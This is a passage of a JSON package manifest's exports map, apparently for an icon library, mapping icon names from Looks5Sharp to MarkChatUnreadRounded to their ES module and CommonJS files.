\"./Looks5Sharp\": {\n      \"import\": \"./Looks5Sharp.mjs\",\n      \"require\": \"./Looks5Sharp.js\",\n      \"default\": \"./Looks5Sharp.mjs\"\n    },\n    \"./Looks5TwoTone\": {\n      \"import\": \"./Looks5TwoTone.mjs\",\n      \"require\": \"./Looks5TwoTone.js\",\n      \"default\": \"./Looks5TwoTone.mjs\"\n    },\n    \"./Looks6\": {\n      \"import\": \"./Looks6.mjs\",\n      \"require\": \"./Looks6.js\",\n      \"default\": \"./Looks6.mjs\"\n    },\n    \"./Looks6Outlined\": {\n      \"import\": \"./Looks6Outlined.mjs\",\n      \"require\": \"./Looks6Outlined.js\",\n      \"default\": \"./Looks6Outlined.mjs\"\n    },\n    \"./Looks6Rounded\": {\n      \"import\": \"./Looks6Rounded.mjs\",\n      \"require\": \"./Looks6Rounded.js\",\n      \"default\": \"./Looks6Rounded.mjs\"\n    },\n    \"./Looks6Sharp\": {\n      \"import\": \"./Looks6Sharp.mjs\",\n      \"require\": \"./Looks6Sharp.js\",\n      \"default\": \"./Looks6Sharp.mjs\"\n    },\n    \"./Looks6TwoTone\": {\n      \"import\": \"./Looks6TwoTone.mjs\",\n      \"require\": \"./Looks6TwoTone.js\",\n      \"default\": \"./Looks6TwoTone.mjs\"\n    },\n    \"./LooksOne\": {\n      \"import\": \"./LooksOne.mjs\",\n      \"require\": \"./LooksOne.js\",\n      \"default\": \"./LooksOne.mjs\"\n    },\n    \"./LooksOneOutlined\": {\n      \"import\": \"./LooksOneOutlined.mjs\",\n      \"require\": \"./LooksOneOutlined.js\",\n      \"default\": \"./LooksOneOutlined.mjs\"\n    },\n    \"./LooksOneRounded\": {\n      \"import\": \"./LooksOneRounded.mjs\",\n      \"require\": \"./LooksOneRounded.js\",\n      \"default\": \"./LooksOneRounded.mjs\"\n    },\n    \"./LooksOneSharp\": {\n      \"import\": \"./LooksOneSharp.mjs\",\n      \"require\": \"./LooksOneSharp.js\",\n      \"default\": \"./LooksOneSharp.mjs\"\n    },\n    \"./LooksOneTwoTone\": {\n      \"import\": \"./LooksOneTwoTone.mjs\",\n      \"require\": \"./LooksOneTwoTone.js\",\n      \"default\": \"./LooksOneTwoTone.mjs\"\n    },\n    \"./LooksOutlined\": {\n      \"import\": \"./LooksOutlined.mjs\",\n      \"require\": \"./LooksOutlined.js\",\n      \"default\": \"./LooksOutlined.mjs\"\n    },\n    \"./LooksRounded\": {\n      \"import\": \"./LooksRounded.mjs\",\n      \"require\": \"./LooksRounded.js\",\n      \"default\": \"./LooksRounded.mjs\"\n    },\n    \"./LooksSharp\": {\n      \"import\": \"./LooksSharp.mjs\",\n      \"require\": \"./LooksSharp.js\",\n      \"default\": \"./LooksSharp.mjs\"\n    },\n    \"./LooksTwo\": {\n      \"import\": \"./LooksTwo.mjs\",\n      \"require\": \"./LooksTwo.js\",\n      \"default\": \"./LooksTwo.mjs\"\n    },\n    \"./LooksTwoOutlined\": {\n      \"import\": \"./LooksTwoOutlined.mjs\",\n      \"require\": \"./LooksTwoOutlined.js\",\n      \"default\": \"./LooksTwoOutlined.mjs\"\n    },\n    \"./LooksTwoRounded\": {\n      \"import\": \"./LooksTwoRounded.mjs\",\n      \"require\": \"./LooksTwoRounded.js\",\n      \"default\": \"./LooksTwoRounded.mjs\"\n    },\n    \"./LooksTwoSharp\": {\n      \"import\": \"./LooksTwoSharp.mjs\",\n      \"require\": \"./LooksTwoSharp.js\",\n      \"default\": \"./LooksTwoSharp.mjs\"\n    },\n    \"./LooksTwoTone\": {\n      \"import\": \"./LooksTwoTone.mjs\",\n      \"require\": \"./LooksTwoTone.js\",\n      \"default\": \"./LooksTwoTone.mjs\"\n    },\n    \"./LooksTwoTwoTone\": {\n      \"import\": \"./LooksTwoTwoTone.mjs\",\n      \"require\": \"./LooksTwoTwoTone.js\",\n      \"default\": \"./LooksTwoTwoTone.mjs\"\n    },\n    \"./Loop\": {\n      \"import\": \"./Loop.mjs\",\n      \"require\": \"./Loop.js\",\n      \"default\": \"./Loop.mjs\"\n    },\n    \"./LoopOutlined\": {\n      \"import\": \"./LoopOutlined.mjs\",\n      \"require\": \"./LoopOutlined.js\",\n      \"default\": \"./LoopOutlined.mjs\"\n    },\n    \"./LoopRounded\": {\n      \"import\": \"./LoopRounded.mjs\",\n      \"require\": \"./LoopRounded.js\",\n      \"default\": \"./LoopRounded.mjs\"\n    },\n    \"./LoopSharp\": {\n      \"import\": \"./LoopSharp.mjs\",\n      \"require\": \"./LoopSharp.js\",\n      \"default\": \"./LoopSharp.mjs\"\n    },\n    \"./LoopTwoTone\": {\n      \"import\": \"./LoopTwoTone.mjs\",\n      \"require\": \"./LoopTwoTone.js\",\n      \"default\": \"./LoopTwoTone.mjs\"\n    },\n    \"./Loupe\": {\n      \"import\": \"./Loupe.mjs\",\n      \"require\": \"./Loupe.js\",\n      \"default\": \"./Loupe.mjs\"\n    },\n    \"./LoupeOutlined\": {\n      \"import\": \"./LoupeOutlined.mjs\",\n      \"require\": \"./LoupeOutlined.js\",\n      \"default\": \"./LoupeOutlined.mjs\"\n    },\n    \"./LoupeRounded\": {\n      \"import\": \"./LoupeRounded.mjs\",\n      \"require\": \"./LoupeRounded.js\",\n      \"default\": \"./LoupeRounded.mjs\"\n    },\n    \"./LoupeSharp\": {\n      \"import\": \"./LoupeSharp.mjs\",\n      \"require\": \"./LoupeSharp.js\",\n      \"default\": \"./LoupeSharp.mjs\"\n    },\n    \"./LoupeTwoTone\": {\n      \"import\": \"./LoupeTwoTone.mjs\",\n      \"require\": \"./LoupeTwoTone.js\",\n      \"default\": \"./LoupeTwoTone.mjs\"\n    },\n    \"./LowPriority\": {\n      \"import\": \"./LowPriority.mjs\",\n      \"require\": \"./LowPriority.js\",\n      \"default\": \"./LowPriority.mjs\"\n    },\n    \"./LowPriorityOutlined\": {\n      \"import\": \"./LowPriorityOutlined.mjs\",\n      \"require\": \"./LowPriorityOutlined.js\",\n      \"default\": \"./LowPriorityOutlined.mjs\"\n    },\n    \"./LowPriorityRounded\": {\n      \"import\": \"./LowPriorityRounded.mjs\",\n      \"require\": \"./LowPriorityRounded.js\",\n      \"default\": \"./LowPriorityRounded.mjs\"\n    },\n    \"./LowPrioritySharp\": {\n      \"import\": \"./LowPrioritySharp.mjs\",\n      \"require\": \"./LowPrioritySharp.js\",\n      \"default\": \"./LowPrioritySharp.mjs\"\n    },\n    \"./LowPriorityTwoTone\": {\n      \"import\": \"./LowPriorityTwoTone.mjs\",\n      \"require\": \"./LowPriorityTwoTone.js\",\n      \"default\": \"./LowPriorityTwoTone.mjs\"\n    },\n    \"./Loyalty\": {\n      \"import\": \"./Loyalty.mjs\",\n      \"require\": \"./Loyalty.js\",\n      \"default\": \"./Loyalty.mjs\"\n    },\n    \"./LoyaltyOutlined\": {\n      \"import\": \"./LoyaltyOutlined.mjs\",\n      \"require\": \"./LoyaltyOutlined.js\",\n      \"default\": \"./LoyaltyOutlined.mjs\"\n    },\n    \"./LoyaltyRounded\": {\n      \"import\": \"./LoyaltyRounded.mjs\",\n      \"require\": \"./LoyaltyRounded.js\",\n      \"default\": \"./LoyaltyRounded.mjs\"\n    },\n    \"./LoyaltySharp\": {\n      \"import\": \"./LoyaltySharp.mjs\",\n      \"require\": \"./LoyaltySharp.js\",\n      \"default\": \"./LoyaltySharp.mjs\"\n    },\n    \"./LoyaltyTwoTone\": {\n      \"import\": \"./LoyaltyTwoTone.mjs\",\n      \"require\": \"./LoyaltyTwoTone.js\",\n      \"default\": \"./LoyaltyTwoTone.mjs\"\n    },\n    \"./LteMobiledata\": {\n      \"import\": \"./LteMobiledata.mjs\",\n      \"require\": \"./LteMobiledata.js\",\n      \"default\": \"./LteMobiledata.mjs\"\n    },\n    \"./LteMobiledataOutlined\": {\n      \"import\": \"./LteMobiledataOutlined.mjs\",\n      \"require\": \"./LteMobiledataOutlined.js\",\n      \"default\": \"./LteMobiledataOutlined.mjs\"\n    },\n    \"./LteMobiledataRounded\": {\n      \"import\": \"./LteMobiledataRounded.mjs\",\n      \"require\": \"./LteMobiledataRounded.js\",\n      \"default\": \"./LteMobiledataRounded.mjs\"\n    },\n    \"./LteMobiledataSharp\": {\n      \"import\": \"./LteMobiledataSharp.mjs\",\n      \"require\": \"./LteMobiledataSharp.js\",\n      \"default\": \"./LteMobiledataSharp.mjs\"\n    },\n    \"./LteMobiledataTwoTone\": {\n      \"import\": \"./LteMobiledataTwoTone.mjs\",\n      \"require\": \"./LteMobiledataTwoTone.js\",\n      \"default\": \"./LteMobiledataTwoTone.mjs\"\n    },\n    \"./LtePlusMobiledata\": {\n      \"import\": \"./LtePlusMobiledata.mjs\",\n      \"require\": \"./LtePlusMobiledata.js\",\n      \"default\": \"./LtePlusMobiledata.mjs\"\n    },\n    \"./LtePlusMobiledataOutlined\": {\n      \"import\": \"./LtePlusMobiledataOutlined.mjs\",\n      \"require\": \"./LtePlusMobiledataOutlined.js\",\n      \"default\": \"./LtePlusMobiledataOutlined.mjs\"\n    },\n    \"./LtePlusMobiledataRounded\": {\n      \"import\": \"./LtePlusMobiledataRounded.mjs\",\n      \"require\": \"./LtePlusMobiledataRounded.js\",\n      \"default\": \"./LtePlusMobiledataRounded.mjs\"\n    },\n    \"./LtePlusMobiledataSharp\": {\n      \"import\": \"./LtePlusMobiledataSharp.mjs\",\n      \"require\": \"./LtePlusMobiledataSharp.js\",\n      \"default\": \"./LtePlusMobiledataSharp.mjs\"\n    },\n    \"./LtePlusMobiledataTwoTone\": {\n      \"import\": \"./LtePlusMobiledataTwoTone.mjs\",\n      \"require\": \"./LtePlusMobiledataTwoTone.js\",\n      \"default\": \"./LtePlusMobiledataTwoTone.mjs\"\n    },\n    \"./Luggage\": {\n      \"import\": \"./Luggage.mjs\",\n      \"require\": \"./Luggage.js\",\n      \"default\": \"./Luggage.mjs\"\n    },\n    \"./LuggageOutlined\": {\n      \"import\": \"./LuggageOutlined.mjs\",\n      \"require\": \"./LuggageOutlined.js\",\n      \"default\": \"./LuggageOutlined.mjs\"\n    },\n    \"./LuggageRounded\": {\n      \"import\": \"./LuggageRounded.mjs\",\n      \"require\": \"./LuggageRounded.js\",\n      \"default\": \"./LuggageRounded.mjs\"\n    },\n    \"./LuggageSharp\": {\n      \"import\": \"./LuggageSharp.mjs\",\n      \"require\": \"./LuggageSharp.js\",\n      \"default\": \"./LuggageSharp.mjs\"\n    },\n    \"./LuggageTwoTone\": {\n      \"import\": \"./LuggageTwoTone.mjs\",\n      \"require\": \"./LuggageTwoTone.js\",\n      \"default\": \"./LuggageTwoTone.mjs\"\n    },\n    \"./LunchDining\": {\n      \"import\": \"./LunchDining.mjs\",\n      \"require\": \"./LunchDining.js\",\n      \"default\": \"./LunchDining.mjs\"\n    },\n    \"./LunchDiningOutlined\": {\n      \"import\": \"./LunchDiningOutlined.mjs\",\n      \"require\": \"./LunchDiningOutlined.js\",\n      \"default\": \"./LunchDiningOutlined.mjs\"\n    },\n    \"./LunchDiningRounded\": {\n      \"import\": \"./LunchDiningRounded.mjs\",\n      \"require\": \"./LunchDiningRounded.js\",\n      \"default\": \"./LunchDiningRounded.mjs\"\n    },\n    \"./LunchDiningSharp\": {\n      \"import\": \"./LunchDiningSharp.mjs\",\n      \"require\": \"./LunchDiningSharp.js\",\n      \"default\": \"./LunchDiningSharp.mjs\"\n    },\n    \"./LunchDiningTwoTone\": {\n      \"import\": \"./LunchDiningTwoTone.mjs\",\n      \"require\": \"./LunchDiningTwoTone.js\",\n      \"default\": \"./LunchDiningTwoTone.mjs\"\n    },\n    \"./Lyrics\": {\n      \"import\": \"./Lyrics.mjs\",\n      \"require\": \"./Lyrics.js\",\n      \"default\": \"./Lyrics.mjs\"\n    },\n    \"./LyricsOutlined\": {\n      \"import\": \"./LyricsOutlined.mjs\",\n      \"require\": \"./LyricsOutlined.js\",\n      \"default\": \"./LyricsOutlined.mjs\"\n    },\n    \"./LyricsRounded\": {\n      \"import\": \"./LyricsRounded.mjs\",\n      \"require\": \"./LyricsRounded.js\",\n      \"default\": \"./LyricsRounded.mjs\"\n    },\n    \"./LyricsSharp\": {\n      \"import\": \"./LyricsSharp.mjs\",\n      \"require\": \"./LyricsSharp.js\",\n      \"default\": \"./LyricsSharp.mjs\"\n    },\n    \"./LyricsTwoTone\": {\n      \"import\": \"./LyricsTwoTone.mjs\",\n      \"require\": \"./LyricsTwoTone.js\",\n      \"default\": \"./LyricsTwoTone.mjs\"\n    },\n    \"./MacroOff\": {\n      \"import\": \"./MacroOff.mjs\",\n      \"require\": \"./MacroOff.js\",\n      \"default\": \"./MacroOff.mjs\"\n    },\n    \"./MacroOffOutlined\": {\n      \"import\": \"./MacroOffOutlined.mjs\",\n      \"require\": \"./MacroOffOutlined.js\",\n      \"default\": \"./MacroOffOutlined.mjs\"\n    },\n    \"./MacroOffRounded\": {\n      \"import\": \"./MacroOffRounded.mjs\",\n      \"require\": \"./MacroOffRounded.js\",\n      \"default\": \"./MacroOffRounded.mjs\"\n    },\n    \"./MacroOffSharp\": {\n      \"import\": \"./MacroOffSharp.mjs\",\n      \"require\": \"./MacroOffSharp.js\",\n      \"default\": \"./MacroOffSharp.mjs\"\n    },\n    \"./MacroOffTwoTone\": {\n      \"import\": \"./MacroOffTwoTone.mjs\",\n      \"require\": \"./MacroOffTwoTone.js\",\n      \"default\": \"./MacroOffTwoTone.mjs\"\n    },\n    \"./Mail\": {\n      \"import\": \"./Mail.mjs\",\n      \"require\": \"./Mail.js\",\n      \"default\": \"./Mail.mjs\"\n    },\n    \"./MailLock\": {\n      \"import\": \"./MailLock.mjs\",\n      \"require\": \"./MailLock.js\",\n      \"default\": \"./MailLock.mjs\"\n    },\n    \"./MailLockOutlined\": {\n      \"import\": \"./MailLockOutlined.mjs\",\n      \"require\": \"./MailLockOutlined.js\",\n      \"default\": \"./MailLockOutlined.mjs\"\n    },\n    \"./MailLockRounded\": {\n      \"import\": \"./MailLockRounded.mjs\",\n      \"require\": \"./MailLockRounded.js\",\n      \"default\": \"./MailLockRounded.mjs\"\n    },\n    \"./MailLockSharp\": {\n      \"import\": \"./MailLockSharp.mjs\",\n      \"require\": \"./MailLockSharp.js\",\n      \"default\": \"./MailLockSharp.mjs\"\n    },\n    \"./MailLockTwoTone\": {\n      \"import\": \"./MailLockTwoTone.mjs\",\n      \"require\": \"./MailLockTwoTone.js\",\n      \"default\": \"./MailLockTwoTone.mjs\"\n    },\n    \"./MailOutline\": {\n      \"import\": \"./MailOutline.mjs\",\n      \"require\": \"./MailOutline.js\",\n      \"default\": \"./MailOutline.mjs\"\n    },\n    \"./MailOutlineOutlined\": {\n      \"import\": \"./MailOutlineOutlined.mjs\",\n      \"require\": \"./MailOutlineOutlined.js\",\n      \"default\": \"./MailOutlineOutlined.mjs\"\n    },\n    \"./MailOutlineRounded\": {\n      \"import\": \"./MailOutlineRounded.mjs\",\n      \"require\": \"./MailOutlineRounded.js\",\n      \"default\": \"./MailOutlineRounded.mjs\"\n    },\n    \"./MailOutlineSharp\": {\n      \"import\": \"./MailOutlineSharp.mjs\",\n      \"require\": \"./MailOutlineSharp.js\",\n      \"default\": \"./MailOutlineSharp.mjs\"\n    },\n    \"./MailOutlineTwoTone\": {\n      \"import\": \"./MailOutlineTwoTone.mjs\",\n      \"require\": \"./MailOutlineTwoTone.js\",\n      \"default\": \"./MailOutlineTwoTone.mjs\"\n    },\n    \"./MailOutlined\": {\n      \"import\": \"./MailOutlined.mjs\",\n      \"require\": \"./MailOutlined.js\",\n      \"default\": \"./MailOutlined.mjs\"\n    },\n    \"./MailRounded\": {\n      \"import\": \"./MailRounded.mjs\",\n      \"require\": \"./MailRounded.js\",\n      \"default\": \"./MailRounded.mjs\"\n    },\n    \"./MailSharp\": {\n      \"import\": \"./MailSharp.mjs\",\n      \"require\": \"./MailSharp.js\",\n      \"default\": \"./MailSharp.mjs\"\n    },\n    \"./MailTwoTone\": {\n      \"import\": \"./MailTwoTone.mjs\",\n      \"require\": \"./MailTwoTone.js\",\n      \"default\": \"./MailTwoTone.mjs\"\n    },\n    \"./Male\": {\n      \"import\": \"./Male.mjs\",\n      \"require\": \"./Male.js\",\n      \"default\": \"./Male.mjs\"\n    },\n    \"./MaleOutlined\": {\n      \"import\": \"./MaleOutlined.mjs\",\n      \"require\": \"./MaleOutlined.js\",\n      \"default\": \"./MaleOutlined.mjs\"\n    },\n    \"./MaleRounded\": {\n      \"import\": \"./MaleRounded.mjs\",\n      \"require\": \"./MaleRounded.js\",\n      \"default\": \"./MaleRounded.mjs\"\n    },\n    \"./MaleSharp\": {\n      \"import\": \"./MaleSharp.mjs\",\n      \"require\": \"./MaleSharp.js\",\n      \"default\": \"./MaleSharp.mjs\"\n    },\n    \"./MaleTwoTone\": {\n      \"import\": \"./MaleTwoTone.mjs\",\n      \"require\": \"./MaleTwoTone.js\",\n      \"default\": \"./MaleTwoTone.mjs\"\n    },\n    \"./Man\": {\n      \"import\": \"./Man.mjs\",\n      \"require\": \"./Man.js\",\n      \"default\": \"./Man.mjs\"\n    },\n    \"./Man2\": {\n      \"import\": \"./Man2.mjs\",\n      \"require\": \"./Man2.js\",\n      \"default\": \"./Man2.mjs\"\n    },\n    \"./Man2Outlined\": {\n      \"import\": \"./Man2Outlined.mjs\",\n      \"require\": \"./Man2Outlined.js\",\n      \"default\": \"./Man2Outlined.mjs\"\n    },\n    \"./Man2Rounded\": {\n      \"import\": \"./Man2Rounded.mjs\",\n      \"require\": \"./Man2Rounded.js\",\n      \"default\": \"./Man2Rounded.mjs\"\n    },\n    \"./Man2Sharp\": {\n      \"import\": \"./Man2Sharp.mjs\",\n      \"require\": \"./Man2Sharp.js\",\n      \"default\": \"./Man2Sharp.mjs\"\n    },\n    \"./Man2TwoTone\": {\n      \"import\": \"./Man2TwoTone.mjs\",\n      \"require\": \"./Man2TwoTone.js\",\n      \"default\": \"./Man2TwoTone.mjs\"\n    },\n    \"./Man3\": {\n      \"import\": \"./Man3.mjs\",\n      \"require\": \"./Man3.js\",\n      \"default\": \"./Man3.mjs\"\n    },\n    \"./Man3Outlined\": {\n      \"import\": \"./Man3Outlined.mjs\",\n      \"require\": \"./Man3Outlined.js\",\n      \"default\": \"./Man3Outlined.mjs\"\n    },\n    \"./Man3Rounded\": {\n      \"import\": \"./Man3Rounded.mjs\",\n      \"require\": \"./Man3Rounded.js\",\n      \"default\": \"./Man3Rounded.mjs\"\n    },\n    \"./Man3Sharp\": {\n      \"require\": \"./Man3Sharp.js\",\n      \"import\": \"./Man3Sharp.mjs\",\n      \"default\": \"./Man3Sharp.mjs\"\n    },\n    \"./Man3TwoTone\": {\n      \"require\": \"./Man3TwoTone.js\",\n      \"import\": \"./Man3TwoTone.mjs\",\n      \"default\": \"./Man3TwoTone.mjs\"\n    },\n    \"./Man4\": {\n      \"require\": \"./Man4.js\",\n      \"import\": \"./Man4.mjs\",\n      \"default\": \"./Man4.mjs\"\n    },\n    \"./Man4Outlined\": {\n      \"require\": \"./Man4Outlined.js\",\n      \"import\": \"./Man4Outlined.mjs\",\n      \"default\": \"./Man4Outlined.mjs\"\n    },\n    \"./Man4Rounded\": {\n      \"require\": \"./Man4Rounded.js\",\n      \"import\": \"./Man4Rounded.mjs\",\n      \"default\": \"./Man4Rounded.mjs\"\n    },\n    \"./Man4Sharp\": {\n      \"require\": \"./Man4Sharp.js\",\n      \"import\": \"./Man4Sharp.mjs\",\n      \"default\": \"./Man4Sharp.mjs\"\n    },\n    \"./Man4TwoTone\": {\n      \"require\": \"./Man4TwoTone.js\",\n      \"import\": \"./Man4TwoTone.mjs\",\n      \"default\": \"./Man4TwoTone.mjs\"\n    },\n    \"./ManOutlined\": {\n      \"require\": \"./ManOutlined.js\",\n      \"import\": \"./ManOutlined.mjs\",\n      \"default\": \"./ManOutlined.mjs\"\n    },\n    \"./ManRounded\": {\n      \"require\": \"./ManRounded.js\",\n      \"import\": \"./ManRounded.mjs\",\n      \"default\": \"./ManRounded.mjs\"\n    },\n    \"./ManSharp\": {\n      \"require\": \"./ManSharp.js\",\n      \"import\": \"./ManSharp.mjs\",\n      \"default\": \"./ManSharp.mjs\"\n    },\n    \"./ManTwoTone\": {\n      \"require\": \"./ManTwoTone.js\",\n      \"import\": \"./ManTwoTone.mjs\",\n      \"default\": \"./ManTwoTone.mjs\"\n    },\n    \"./ManageAccounts\": {\n      \"require\": \"./ManageAccounts.js\",\n      \"import\": \"./ManageAccounts.mjs\",\n      \"default\": \"./ManageAccounts.mjs\"\n    },\n    \"./ManageAccountsOutlined\": {\n      \"require\": \"./ManageAccountsOutlined.js\",\n      \"import\": \"./ManageAccountsOutlined.mjs\",\n      \"default\": \"./ManageAccountsOutlined.mjs\"\n    },\n    \"./ManageAccountsRounded\": {\n      \"require\": \"./ManageAccountsRounded.js\",\n      \"import\": \"./ManageAccountsRounded.mjs\",\n      \"default\": \"./ManageAccountsRounded.mjs\"\n    },\n    \"./ManageAccountsSharp\": {\n      \"require\": \"./ManageAccountsSharp.js\",\n      \"import\": \"./ManageAccountsSharp.mjs\",\n      \"default\": \"./ManageAccountsSharp.mjs\"\n    },\n    \"./ManageAccountsTwoTone\": {\n      \"require\": \"./ManageAccountsTwoTone.js\",\n      \"import\": \"./ManageAccountsTwoTone.mjs\",\n      \"default\": \"./ManageAccountsTwoTone.mjs\"\n    },\n    \"./ManageHistory\": {\n      \"require\": \"./ManageHistory.js\",\n      \"import\": \"./ManageHistory.mjs\",\n      \"default\": \"./ManageHistory.mjs\"\n    },\n    \"./ManageHistoryOutlined\": {\n      \"require\": \"./ManageHistoryOutlined.js\",\n      \"import\": \"./ManageHistoryOutlined.mjs\",\n      \"default\": \"./ManageHistoryOutlined.mjs\"\n    },\n    \"./ManageHistoryRounded\": {\n      \"require\": \"./ManageHistoryRounded.js\",\n      \"import\": \"./ManageHistoryRounded.mjs\",\n      \"default\": \"./ManageHistoryRounded.mjs\"\n    },\n    \"./ManageHistorySharp\": {\n      \"require\": \"./ManageHistorySharp.js\",\n      \"import\": \"./ManageHistorySharp.mjs\",\n      \"default\": \"./ManageHistorySharp.mjs\"\n    },\n    \"./ManageHistoryTwoTone\": {\n      \"require\": \"./ManageHistoryTwoTone.js\",\n      \"import\": \"./ManageHistoryTwoTone.mjs\",\n      \"default\": \"./ManageHistoryTwoTone.mjs\"\n    },\n    \"./ManageSearch\": {\n      \"require\": \"./ManageSearch.js\",\n      \"import\": \"./ManageSearch.mjs\",\n      \"default\": \"./ManageSearch.mjs\"\n    },\n    \"./ManageSearchOutlined\": {\n      \"require\": \"./ManageSearchOutlined.js\",\n      \"import\": \"./ManageSearchOutlined.mjs\",\n      \"default\": \"./ManageSearchOutlined.mjs\"\n    },\n    \"./ManageSearchRounded\": {\n      \"require\": \"./ManageSearchRounded.js\",\n      \"import\": \"./ManageSearchRounded.mjs\",\n      \"default\": \"./ManageSearchRounded.mjs\"\n    },\n    \"./ManageSearchSharp\": {\n      \"require\": \"./ManageSearchSharp.js\",\n      \"import\": \"./ManageSearchSharp.mjs\",\n      \"default\": \"./ManageSearchSharp.mjs\"\n    },\n    \"./ManageSearchTwoTone\": {\n      \"require\": \"./ManageSearchTwoTone.js\",\n      \"import\": \"./ManageSearchTwoTone.mjs\",\n      \"default\": \"./ManageSearchTwoTone.mjs\"\n    },\n    \"./Map\": {\n      \"require\": \"./Map.js\",\n      \"import\": \"./Map.mjs\",\n      \"default\": \"./Map.mjs\"\n    },\n    \"./MapOutlined\": {\n      \"require\": \"./MapOutlined.js\",\n      \"import\": \"./MapOutlined.mjs\",\n      \"default\": \"./MapOutlined.mjs\"\n    },\n    \"./MapRounded\": {\n      \"require\": \"./MapRounded.js\",\n      \"import\": \"./MapRounded.mjs\",\n      \"default\": \"./MapRounded.mjs\"\n    },\n    \"./MapSharp\": {\n      \"require\": \"./MapSharp.js\",\n      \"import\": \"./MapSharp.mjs\",\n      \"default\": \"./MapSharp.mjs\"\n    },\n    \"./MapTwoTone\": {\n      \"require\": \"./MapTwoTone.js\",\n      \"import\": \"./MapTwoTone.mjs\",\n      \"default\": \"./MapTwoTone.mjs\"\n    },\n    \"./MapsHomeWork\": {\n      \"require\": \"./MapsHomeWork.js\",\n      \"import\": \"./MapsHomeWork.mjs\",\n      \"default\": \"./MapsHomeWork.mjs\"\n    },\n    \"./MapsHomeWorkOutlined\": {\n      \"require\": \"./MapsHomeWorkOutlined.js\",\n      \"import\": \"./MapsHomeWorkOutlined.mjs\",\n      \"default\": \"./MapsHomeWorkOutlined.mjs\"\n    },\n    \"./MapsHomeWorkRounded\": {\n      \"require\": \"./MapsHomeWorkRounded.js\",\n      \"import\": \"./MapsHomeWorkRounded.mjs\",\n      \"default\": \"./MapsHomeWorkRounded.mjs\"\n    },\n    \"./MapsHomeWorkSharp\": {\n      \"require\": \"./MapsHomeWorkSharp.js\",\n      \"import\": \"./MapsHomeWorkSharp.mjs\",\n      \"default\": \"./MapsHomeWorkSharp.mjs\"\n    },\n    \"./MapsHomeWorkTwoTone\": {\n      \"import\": \"./MapsHomeWorkTwoTone.mjs\",\n      \"require\": \"./MapsHomeWorkTwoTone.js\",\n      \"default\": \"./MapsHomeWorkTwoTone.mjs\"\n    },\n    \"./MapsUgc\": {\n      \"import\": \"./MapsUgc.mjs\",\n      \"require\": \"./MapsUgc.js\",\n      \"default\": \"./MapsUgc.mjs\"\n    },\n    \"./MapsUgcOutlined\": {\n      \"import\": \"./MapsUgcOutlined.mjs\",\n      \"require\": \"./MapsUgcOutlined.js\",\n      \"default\": \"./MapsUgcOutlined.mjs\"\n    },\n    \"./MapsUgcRounded\": {\n      \"import\": \"./MapsUgcRounded.mjs\",\n      \"require\": \"./MapsUgcRounded.js\",\n      \"default\": \"./MapsUgcRounded.mjs\"\n    },\n    \"./MapsUgcSharp\": {\n      \"require\": \"./MapsUgcSharp.js\",\n      \"import\": \"./MapsUgcSharp.mjs\",\n      \"default\": \"./MapsUgcSharp.mjs\"\n    },\n    \"./MapsUgcTwoTone\": {\n      \"require\": \"./MapsUgcTwoTone.js\",\n      \"import\": \"./MapsUgcTwoTone.mjs\",\n      \"default\": \"./MapsUgcTwoTone.mjs\"\n    },\n    \"./Margin\": {\n      \"require\": \"./Margin.js\",\n      \"import\": \"./Margin.mjs\",\n      \"default\": \"./Margin.mjs\"\n    },\n    \"./MarginOutlined\": {\n      \"require\": \"./MarginOutlined.js\",\n      \"import\": \"./MarginOutlined.mjs\",\n      \"default\": \"./MarginOutlined.mjs\"\n    },\n    \"./MarginRounded\": {\n      \"require\": \"./MarginRounded.js\",\n      \"import\": \"./MarginRounded.mjs\",\n      \"default\": \"./MarginRounded.mjs\"\n    },\n    \"./MarginSharp\": {\n      \"require\": \"./MarginSharp.js\",\n      \"import\": \"./MarginSharp.mjs\",\n      \"default\": \"./MarginSharp.mjs\"\n    },\n    \"./MarginTwoTone\": {\n      \"require\": \"./MarginTwoTone.js\",\n      \"import\": \"./MarginTwoTone.mjs\",\n      \"default\": \"./MarginTwoTone.mjs\"\n    },\n    \"./MarkAsUnread\": {\n      \"require\": \"./MarkAsUnread.js\",\n      \"import\": \"./MarkAsUnread.mjs\",\n      \"default\": \"./MarkAsUnread.mjs\"\n    },\n    \"./MarkAsUnreadOutlined\": {\n      \"require\": \"./MarkAsUnreadOutlined.js\",\n      \"import\": \"./MarkAsUnreadOutlined.mjs\",\n      \"default\": \"./MarkAsUnreadOutlined.mjs\"\n    },\n    \"./MarkAsUnreadRounded\": {\n      \"require\": \"./MarkAsUnreadRounded.js\",\n      \"import\": \"./MarkAsUnreadRounded.mjs\",\n      \"default\": \"./MarkAsUnreadRounded.mjs\"\n    },\n    \"./MarkAsUnreadSharp\": {\n      \"require\": \"./MarkAsUnreadSharp.js\",\n      \"import\": \"./MarkAsUnreadSharp.mjs\",\n      \"default\": \"./MarkAsUnreadSharp.mjs\"\n    },\n    \"./MarkAsUnreadTwoTone\": {\n      \"require\": \"./MarkAsUnreadTwoTone.js\",\n      \"import\": \"./MarkAsUnreadTwoTone.mjs\",\n      \"default\": \"./MarkAsUnreadTwoTone.mjs\"\n    },\n    \"./MarkChatRead\": {\n      \"require\": \"./MarkChatRead.js\",\n      \"import\": \"./MarkChatRead.mjs\",\n      \"default\": \"./MarkChatRead.mjs\"\n    },\n    \"./MarkChatReadOutlined\": {\n      \"require\": \"./MarkChatReadOutlined.js\",\n      \"import\": \"./MarkChatReadOutlined.mjs\",\n      \"default\": \"./MarkChatReadOutlined.mjs\"\n    },\n    \"./MarkChatReadRounded\": {\n      \"import\": \"./MarkChatReadRounded.mjs\",\n      \"require\": \"./MarkChatReadRounded.js\",\n      \"default\": \"./MarkChatReadRounded.mjs\"\n    },\n    \"./MarkChatReadSharp\": {\n      \"import\": \"./MarkChatReadSharp.mjs\",\n      \"require\": \"./MarkChatReadSharp.js\",\n      \"default\": \"./MarkChatReadSharp.mjs\"\n    },\n    \"./MarkChatReadTwoTone\": {\n      \"import\": \"./MarkChatReadTwoTone.mjs\",\n      \"require\": \"./MarkChatReadTwoTone.js\",\n      \"default\": \"./MarkChatReadTwoTone.mjs\"\n    },\n    \"./MarkChatUnread\": {\n      \"import\": \"./MarkChatUnread.mjs\",\n      \"require\": \"./MarkChatUnread.js\",\n      \"default\": \"./MarkChatUnread.mjs\"\n    },\n    \"./MarkChatUnreadOutlined\": {\n      \"import\": \"./MarkChatUnreadOutlined.mjs\",\n      \"require\": \"./MarkChatUnreadOutlined.js\",\n      \"default\": \"./MarkChatUnreadOutlined.mjs\"\n    },\n    \"./MarkChatUnreadRounded\": {\n      \"import\": \"./MarkChatUnreadRounded.mjs\",\n      \"require\": \"./MarkChatUnreadRounded.js\",\n      \"default\": 